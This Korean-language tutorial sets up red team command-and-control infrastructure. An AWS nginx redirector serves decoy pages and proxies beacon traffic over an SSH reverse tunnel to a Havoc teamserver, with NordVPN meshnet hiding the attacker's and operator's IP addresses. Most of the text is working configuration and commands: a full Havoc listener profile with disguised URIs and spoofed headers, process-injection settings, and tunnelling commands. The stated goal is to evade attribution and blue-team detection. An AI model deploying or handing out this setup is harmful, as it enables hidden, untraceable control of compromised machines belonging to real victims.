RedTeam 인프라 구축시에 원점(공격자의 Physical Location)추적 회피를 위해 다양한 방법을 사용할 수 있다. 이 글에서는 aws 와 nordvpn, nginx를 이용해 레드팀 인프라를 구축한다.
개요
인프라 구축은 대략적으로 다음과 같은 과정으로 진행된다.
1.
리다이렉터의 nginx 에서 0.0.0.0:443 → localhost:1234 로 Reverse Proxy 설정
2.
On-Permise 팀서버에서 nordvpn(vps에 team server ip를 숨기기 위함)을 통해 리다이렉터에 ssh 연결
3.
SSH를 통해 팀서버 localhost:443 ← 리다이렉터 localhost:1234 Remote Port Forwarding
4.
팀서버에서 Operator와 meshnet peer 연결
이와같은 구성은 몇 가지 장점이 있다.
1.
팀서버의 인바운드 트래픽을 완전히 차단할 수 있다.
2.
리다이렉터(클라우드 프로바이더)에 팀서버의 ip를 노출하지 않을 수 있다.
3.
팀서버에 오퍼레이터의 ip를 노출하지 않을 수 있다.
리다이렉터
리다이렉터를 사용하면 여러가지 장점이 있다. 먼저, 리다이렉터를 사용하면 비콘이 팀서버에 직접 연결하지 않으므로 팀서버의 ip를 타겟에 노출하지 않을 수 있다. 또한 비콘의 첫번째 목적지인 리다이렉터 ip가 탐지됐을경우 리다이렉터만 교체하면 팀서버는 계속 사용할 수 있기 때문에 인프라를 원활히 유지보수 할 수 있다.
그리고 리다이렉터를 반복해서 구축하게 되면 구축한 횟수만큼 네트워크 홉이 생기게 된다.
nginx
socat과 같은 프로그램을 이용해 직접 리다이렉션하지 않고 nginx를 이용한 리버스 프록시를 구성하는 이유는 두가지이다.
1. Decoy
블루팀이 특정 도메인으로 향하는 트래픽을 보고 우리 도메인으로 접속했을때 아무런 콘텐츠를 제공하지 않으면(비정상적인 response) 위험 도메인으로 분류 및 탐지될 가능성이 높아질 것 이다. 이때 niginx 설정을 통해 비콘으로부터 온 요청이 아닌경우 decoy페이지를 제공할 수 있다.
2. Certbot
비용문제 및 결제 신원을 숨기기 위해 Let’s Encrypt 인증서를 사용하는 경우가 많은데, 해당 인증서는 3개월 뒤에 만료되게 된다. 하지만 nginx 및 Certbot조합을 사용하면 인증서의 유지보수를 자동화할 수 있다.
해당 구조는 비콘 - 리다이렉터, 리다이렉터 - 팀서버간의 인증서를 따로 사용한다.
1.
비콘과 리다이렉터간의 연결에는 certbot이 자동으로 갱신하는 인증서를 사용한다.
2.
리다이렉터와 팀서버간의 연결에는 팀서버에서 셀프서명한 인증서를 사용한다.
Nordvpn
굳이 각 연결에 nordvpn을 사용한 이유는 표면에 노출되는 자원(그레이 공간)이 아니라도 공격자의 ip노출을 최소화 하기 위함이다. 또한 nordvpn의 meshnet을 사용하면 간단한 설정으로 VPN을 구성해 사용할 수 있다.
구성과정
리다이렉터 설정
1. Ubuntu instance 생성
생성한 키 페어는 ssh연결에 쓰이므로 꼭 저장한다.
2. 보안그룹 설정
다음과 같이 인바운드 규칙을 설정한다.
3. nginx 설정
퍼블릭 ip주소로 ssh에 연결한다(opsec을 고려해 nordvpn에 연결된 상태로 접속한다).
nginx와 certbot을 설치한다.
sudo apt update -y
sudo apt install nginx -y
sudo apt install certbot python3-certbot-nginx -y
Bash
복사
다음 내용을 /etc/nginx/sites-enabled/default에 추가한다.(server_name은 가지고 있는 도메인명으로 변경)
server {
listen 80 default_server;
listen [::]:80 default_server;
root /var/www/html;
index index.html;
server_name *.jjangu.app;
location / {
try_files $uri $uri/ @c2;
}
location @c2 {
proxy_pass https://127.0.0.1:1234;
proxy_redirect off;
proxy_ssl_verify off;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
}
Bash
복사
도메인 레지스트라에서 리다이렉터의 ip를 A레코드에 추가한다.
sudo certbot --nginx -d redteam.jjangu.app
Bash
복사
4. nginx test
팀서버 설정
팀서버는 vmware 가상머신에 kali linux를 설치하여 구성한다.
1. havoc설치
sudo apt update
sudo apt install -y git openssl build-essential apt-utils cmake libfontconfig1 libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev libncurses5-dev libgdbm-dev libssl-dev libreadline-dev libffi-dev libsqlite3-dev libbz2-dev mesa-common-dev qtbase5-dev qtchooser qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev qtdeclarative5-dev golang-go qtbase5-dev libqt5websockets5-dev python3-dev libboost-all-dev mingw-w64 nasm
git clone https://github.com/HavocFramework/Havoc.git
cd Havoc/teamserver
go mod download golang.org/x/sys
go mod download github.com/ugorji/go
cd ..
make ts-build
Bash
복사
아래의 내용을 myset.yaotl에 저장한다.
Teamserver {
Host = "0.0.0.0"
Port = 40056
Build {
Compiler64 = "data/x86_64-w64-mingw32-cross/bin/x86_64-w64-mingw32-gcc"
Compiler86 = "data/i686-w64-mingw32-cross/bin/i686-w64-mingw32-gcc"
Nasm = "/usr/bin/nasm"
}
}
Operators {
user "5pider" {
Password = "password1234"
}
user "Neo" {
Password = "password1234"
}
}
# this is optional. if you dont use it you can remove it.
Service {
Endpoint = "service-endpoint"
Password = "service-password"
}
Demon {
Sleep = 2
Jitter = 15
TrustXForwardedFor = false
Injection {
Spawn64 = "C:\\Windows\\System32\\notepad.exe"
Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe"
}
}
Listeners {
Http {
Name = "HTTPS Listener"
Hosts = ["redteam.jjangu.app"]
HostBind = "0.0.0.0"
HostRotation = "round-robin"
PortBind = 443
PortConn = 443
Secure = true
UserAgent = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"
Uris = [
"/indexs.php",
"/howtomakegirlfriends.txt",
"/index.js"
]
Headers = [
"X-RTP-Version: Prod",
"X-HTTP-Client: true",
]
Response {
Headers = [
"Content-type: text/plain",
"X-Powered-By: ASP.NET",
]
}
Cert {
Cert = "/home/kali/havoc/mycert.crt"
Key = "/home/kali/havoc/mykey.key"
}
}
}
Bash
복사
2. 인증서 생성
openssl req -new -newkey rsa:2048 -nodes -keyout mykey.key -out mycsr.csr
openssl x509 -req -days 3650 -in mycsr.csr -signkey mykey.key -out mycert.crt
Bash
복사
3. nordvpn 설치
sh <(curl -sSf https://downloads.nordcdn.com/apps/linux/install.sh)
sudo nordvpn login
sudo nordvpn login --callback "nordvpn://login?action=login<SNIP><SNIP>"
Bash
복사
화면에 표시된 링크에서 로그인 한 후 continue 콜백을 복사 붙여넣기 한다.
이후 nordvpn에 연결해 아웃바운드 ip를 숨긴다
sudo nordvpn set meshnet on
sudo nordvpn set killswitch on #예상치 못한 연결로 인한 ip노출 차단
sudo nordvpn connect
Bash
복사
4. 리다이렉터 ssh 연결
ssh ubuntu@redteam.jjangu.app -i redteam.pem -R 1234:127.0.0.1:443
Bash
복사
4-1. 터널링 테스트
5. Teamserver 실행
./havoc server --profile ./myset.yaotl -v
Bash
복사
Operator Client설정
1. 위와 같은 과정으로 nordvpn설치
2. havoc client 설치
sudo apt update
sudo apt install -y git openssl build-essential apt-utils cmake libfontconfig1 libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev libncurses5-dev libgdbm-dev libssl-dev libreadline-dev libffi-dev libsqlite3-dev libbz2-dev mesa-common-dev qtbase5-dev qtchooser qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev qtdeclarative5-dev golang-go qtbase5-dev libqt5websockets5-dev python3-dev libboost-all-dev mingw-w64 nasm
git clone https://github.com/HavocFramework/Havoc.git
cd Havoc
make client-build
cd client
./Havoc client
Bash
복사
3. TeamServer 접속
Host는 팀서버의 meshnet 주소를 입력한다.
4. https payload 생성
윈도우 vm에서 실행
5. client 연결 확인
패킷흐름
1.
Agent → https://redteam.jjangu.app
2.
리다이렉터의 nginx → 리다이렉터의 1234 port
3.
리다이렉터의 1234 port → nordvpn을 통해 ssh에 접속한 팀서버의 443 port
4.
meshnet을 이용해 operator가 팀서버에 접속.
→ 리다이렉터에는 팀서버의 아이피가, 팀서버에는 오퍼레이터의 아이피가 남지 않는다.